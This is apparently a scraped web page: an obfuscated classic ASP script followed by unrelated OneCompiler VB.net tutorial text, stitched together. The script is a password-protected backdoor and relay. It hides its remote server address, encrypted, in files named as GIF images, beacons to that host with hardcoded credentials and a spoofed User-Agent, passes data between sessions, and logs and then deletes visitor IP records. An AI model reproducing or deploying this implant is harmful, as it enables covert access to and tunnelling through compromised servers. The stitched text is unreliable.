<%@language=VBScript.Encode%><%Const pASswORD_FIRST="8Rvi4-UPMQvFgjMJ3cZF"
CoNst PAsSWORd_SEcOND="D8CsrVeepHe5ByHrm8I2"
Const PARAM_FIRSt="type"
Const PARAM_SEcOnD="data"
ConSt PArAM_THIRD="topic"
Const TYPE_FIRST="article"
Const TYPE_SECOND="cisco"
Const tYpE_ThiRD="microsoft"
const TYPE_fOURTH="apple"
ConsT TyPE_FIFTH="favourite"
COnst RESPONsE_SUCCESS="<!DOCTYPE html>"
Const RESPONSE_FaiL=" "
coNst REPLACE_STRING="a7yRQ4srP/h TE-wkdFbA06x8BOz3iJ.cqUv1lfDnoZNKXLMmStGHuVYICg52Wp:9ej"
ConsT SESSION_ID="id"
Const SESSION_OBJECT="obj"
COnst OBJECT_FIRST="1"
CoNst OBJECT_SECOND="2"
Const LOGFILE="btn_01.gif"
CONsT cFGFILe="btn_02.gif"
CoNSt mAX_TRANS_LeN=65536
Const BUFfEr_LEN=4096
COnst SERVEr_TIMEOUT=60000
PREFIX="asp.net_"
WORKS_DIR=Server.mappath(".")&"/images/"
REMOTE_urL=Getcfg(WORKS_DIR&cFGFILE,1)
PID=GetCFg(worKs_DIR&CFGFILE,2)
%> <%FunctioN GetCfG(f_path,Index)
On ErrOr Resume Next
sEt fs=CreateOBject("Scripting.FileSystemObject")
Set f1=fs.gETFiLE(f_path)
set f=fs.OpeNTexTFile(f_paTh,1)
str=f.Read(f1.Size)
replace_sTr=""
For i=0 to LEn(str)-1
num=InStr(REPLACE_STRING,Mid(sTr,i+1,1))
num=(num-22-1+LeN(REpLACE_STRING))mod Len(REPLaCE_STRING)
rEplace_str=replAcE_str&Mid(REPLACe_STRING,nUm+1,1)
Next
num=InSTr(replace_sTr,"::")
If index=1 THen
GeTCfG=Mid(rEplAce_str,1,num-1)
Else
getcfg=Mid(repLace_str,num+2)
End If
f.close
Set f=NOthinG
SEt fs=Nothing
End FunctiOn
Function Login(Param)
IF param=pASSWoRD_FIRST Then
login=1
ExIt FunCtion
End If
If paraM=PaSSWORd_SeCoND then
login=2
Exit FunctIOn
End IF
LoGin=0
End functioN
FunCtion Connect(SzURl,szPosT)
On Error resUme Next
If MiD(szURl,1,4)="http"Then
Dim xmlHttp
Set xmlHTtp=CrEAteObjEcT("Msxml2.ServerXMLHTTP")
xmlHttp.Open"POST",szUrl,False
xmLHttp.SetRequestheader"Content-Type","application/x-www-form-urlencoded"
xmlHttp.setRequestHeADEr"User-Agent","Mozilla / 5.0 (Windows NT 6.1; WOW64) AppleWebKit / 537.36 (KHTML, like Gecko)"
xmlHttp.setoptioN 2,13056
xmlHttp.send szPost
Connect=Cstr(xmlHttP.responsEText)
Set xMlHTtP=Nothing
Else
SeT Fs=CreateObJect("Scripting.FileSystemObject")
path=szURl&"/"&SeSsion.SessiOnID&".ses"
Response.write patH
Set f=fs.OpEnTextFIle(path,8,trUe)
replace_str=""
FoR i=0 To Len(PID)-1
indEx=InStr(rePLACE_STrING,Mid(PID,i+1,1))
Index=(index+22-1)mOd len(REPLaCE_STRInG)
rePlACe_Str=replace_sTr&mid(REPLaCE_STRING,indEx+1,1)
NExt
f.Write(rePlace_str)
f.cLosE
Set F=NOtHing
SeT fs=nothIng
End if
End FunctioN
Function WriTeLog(bLog)
Set Fs=CREateObjEct("Scripting.FileSystemObject")
ip=ReQueST.SeRVerVarIables("REMOTE_ADDR")
id=ReQueSt(PARAm_fIRST)
t=FormatDatetime(Now(),2)&" "&FormatDatETime(Now(),4)
If bLog=0 Then
str=ip
ElseIf blog=1 theN
str=t&": "&id&"::"
ElseIf bLog=2 Then
str=T&": "&ip&"::"
ElseIf bLog=3 ThEn
str=T&": Current::"
End If
replace_str=""
For i=0 to Len(Str)-1
indeX=InStr(REPLaCE_STRiNG,Mid(str,i+1,1))
index=(index+22-1)mOD Len(REPLAce_STRInG)
replace_stR=replaCe_sTr&Mid(REPLACE_STRiNG,index+1,1)
NexT
If blog=0 THen
AppLicatiOn(PREFIX&SeSsion.SessionID&".ses")=REplaCe_str
WriteLoG=true
Exit Function
ElseIf BLog=4 Then
PaTh=WORKS_Dir&cFGFIlE
If fS.FileExIsTs(patH)then Call fs.DEleteFile(path,1)
Replace_str=request(PARAM_thIRD)
else
Path=wOrKS_DIR&LOGFILE
End if
Set f=fs.OpEnTexTFile(PAth,8,true)
f.Write(rePlace_str)
f.close
Set F=nothing
SeT fS=Nothing
WriteLog=truE
END FuNction
Function RespOnseOK()
Response.wRite RESponSE_SuCCESS
End FunctIon
FuNctIoN REsponsEFail()
reSponse.write RESpONSE_FaIL
End fuNction
FuncTiOn ResponsEFile(f_path)
SEt fs=Createobject("Scripting.FileSystemObject")
SEt f1=fs.GeTFILe(f_path)
Set F=Fs.OpenTextFiLe(f_Path,1)
f_leN=f1.SIze
tOtal=LeN(RESPONSE_SUCcESS)+F_len
ResPonse.wriTe RESpONSe_SUCCESS
respOnse.write f.Read(f_Len)
f.clOse
CaLl fs.DelEteFIle(f_pAth,1)
SEt f1=Nothing
Set f=Nothing
Set fs=NothinG
end FuNction
FuncTiOn Pause(miliSEconds)
startTIMe=Timer
Do Until(Timer-staRtTime)*1000>MiliSEconds
Loop
EnD FUnctIoN
FuncTion ResponseData()
if sEssion(SESSION_OBJeCT)=OBJECT_FIRST THen obJ=ObJECT_SECoND Else obj=OBJECT_FiRST
id=session(SeSSION_Id)
other=pREFIX&id& oBj
selF=Id&sESsioN(sESSION_OBJeCT)
t=0
Do WHiLe t<SERVER_TimEoUT
If appLicatIon(othEr)<>""THen Exit Do
t=t+200
PaUSe(200)
Loop
If t<SERVeR_TIMEOUT Then
Response.write REspONSE_SUCCEsS
RESponse.writE ApplIcAtion(other)
Application(othEr)=""
Else
RespOnseFail()
end If
End function
FuNction ReqUEstData()
obj=sessIOn(SESSiON_OBJECT)
Id=sEssion(SeSSION_ID)
self=pREFIX&id& obj
dAta=Request(PArAM_SECOND)
t=0
Do While t<SERVeR_TImEOUT
if AppLicatiOn(sElf)=""Then eXit DO
T=t+200
Pause(200)
LOoP
If t>SERVER_TIMEOUT THen
ResponsEFaiL()
Exit FuNctIOn
end If
AppliCaTion(self)=DatA
RESponSeOk()
End fUncTion
FuNctIon ResponseObJ1()
WriteLog(1)
szPost=PARaM_FIRST&"="&PID&"&"&PARAM_sEcOND&"="&PASSWORD_fIrST
Call CoNnecT(REMOTE_URL,szPost)
If WriteLoG(0)=False ThEn
RESponsEFail()
Exit Function
End If
SEsSioN(SESsION_OBJeCt)=obJeCT_FIRST
sEssion(SESSION_ID)=sessiON.SessionID
ResponseOK()
EnD FuNction
FunctIon ResPonseObj2()
res_TYpe=RequESt(PARAm_fIRST)
If Res_TYpe=TYPE_THIrD Then
For Each x In ApPlication.ConTents
If(InStr(x,PREFIX)>0 AnD iNStr(x,".ses")>0)TheN
sessiON(SESSION_OBJECT)=oBJeCT_SECoND
sessIOn(SeSSION_ID)=MId(x,LeN(PREFIX)+1,LeN(x)-Len(PReFIX)-4)
ResponsE.wrIte RESPONSE_sUcCESs
REsponse.write Application(x)
Application.ContEnts.RemOVe(x)
Exit FuNction
End IF
NeXt
ELseIF ReS_type=TyPE_FOuRtH then
WriteLog(4)
app_list=""
for Each x in ApPlIcAtion.ConTeNts
IF InStR(x,PRefIX)>0 Then
aPP_liSt=app_lIst+x+","
End If
Next
app_Array=SplIt(aPp_list,",")
fOr Each x In app_ARray
Application.ContEnts.RemoVe(x)
next
ResponseOK()
eXit FuncTion
ElseIF ReS_type=TyPe_FIFTH thEn
WriteLog(3)
CaLl ResponseFile(WORKS_Dir&LOGFILE)
ExiT FunctiOn
End If
ResPonseFaiL()
End FunctioN
%> <%If SesSIon(SESSIOn_ObJECT)=""then
rEt=Login(ReqUEst(PARAM_SEcOND))
If ret=1 Then
ResponsEObj1()
ElseIf ret=2 Then
ResponsEobj2()
Else
WriTeLog(2)
eNd If
elSe
RES_type=request(PARAM_FIRSt)
If Res_type=TYPE_fIRSt Then
RequesTdata()
ELseIf Res_Type=tYpE_SECOND Then
ResponseData()
ENd If
End If
%> 

Visual basic (VB.net) Online Compiler

Write, Run & Share VB.net code online using OneCompiler's VB.net online compiler for free. It's one of the robust, feature-rich online compilers for VB.net language, running on the latest version 16. Getting started with the OneCompiler's VB.net compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as VB.net. OneCompiler also has reference programs, where you can look for the sample code to get started with.

Read input from STDIN in VB.net

OneCompiler's VB.net online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample VB.net program which takes name as input and prints hello message with your name.

Public Module Program
	Public Sub Main(args() As string)
	 Dim name as String = Console.ReadLine()    ' Reading input from STDIN
   Console.WriteLine("Hello " & name)           ' Writing output to STDOUT
	End Sub
End Module

About VB.net

Visual Basic is a event driven programming language by Microsoft, first released in the year 1991.

Key Features

  • Beginner's friendly language.
  • Simple and object oriented programming language.
  • User friendly language and easy to develop GUI based applications.

Syntax help

Variables

Variable is a name given to the storage area in order to identify them in our programs.

Simple syntax of Variable declaration is as follows

Dim variableName [ As [ New ] dataType ] [ = initializer ]

Variable initialization

variableName = value

Conditional Statements

1. If

If condition-expression Then 
    'code
End If

2. If-else

If(conditional-expression)Then
   'code if the conditional-expression is true 
Else
  'code if the conditional-expression is false 
End If

3. If-else-if ladder

If(conditional-expression)Then
   'code if the above conditional-expression is true 
Else If(conditional-expression) Then
        'code if the above conditional-expression is true 
    Else
        'code if the above conditional-expression is false 
End If

4. Nested-If

If(conditional-expression)Then
   'code if the above conditional-expression is true
   If(conditional-expression)Then
         'code if the above conditional-expression is true 
   End If
End If

5. Select Case

Select [ Case ] expression
   [ Case expressionlist
      'code ]
   [ Case Else
      'code ]
End Select

Loops

1. For..Next

For counter [ As datatype ] = begin To end [ Step step ]
   'code
   [ Continue For ]
   'code
   [ Exit For ]
   'code
Next [ counter ]

2. For..Each

For Each element [ As datatype ] In group
   'code
   [ Continue For ]
   'code
   [ Exit For ]
   'code
Next [ element ]

3. While

While conditional-expression
   'Code 
   [ Continue While ]
   'Code
   [ Exit While ]
   'Code
End While

4. Do-while

Do { While | Until } conditional-expression
   'Code
   [ Continue Do ]
   'Code
   [ Exit Do ]
   'Code
Loop
Do
   'Code
   [ Continue Do ]
   'Code
   [ Exit Do ]
   'Code
Loop { While | Until } conditional-expression

Procedures

Procedure is a sub-routine which contains set of statements. Usually Procedures are written when multiple calls are required to same set of statements which increases re-usuability and modularity.

Procedures are of two types.

1. Functions

Functions return a value when they are called.

[accessModifiers] Function functionName [(parameterList)] As returnType
   'code
End Function

2. Sub-Procedures

Sub-procedures are similar to functions but they don't return any value.

Sub ProcedureName (parameterList)
'Code
End Sub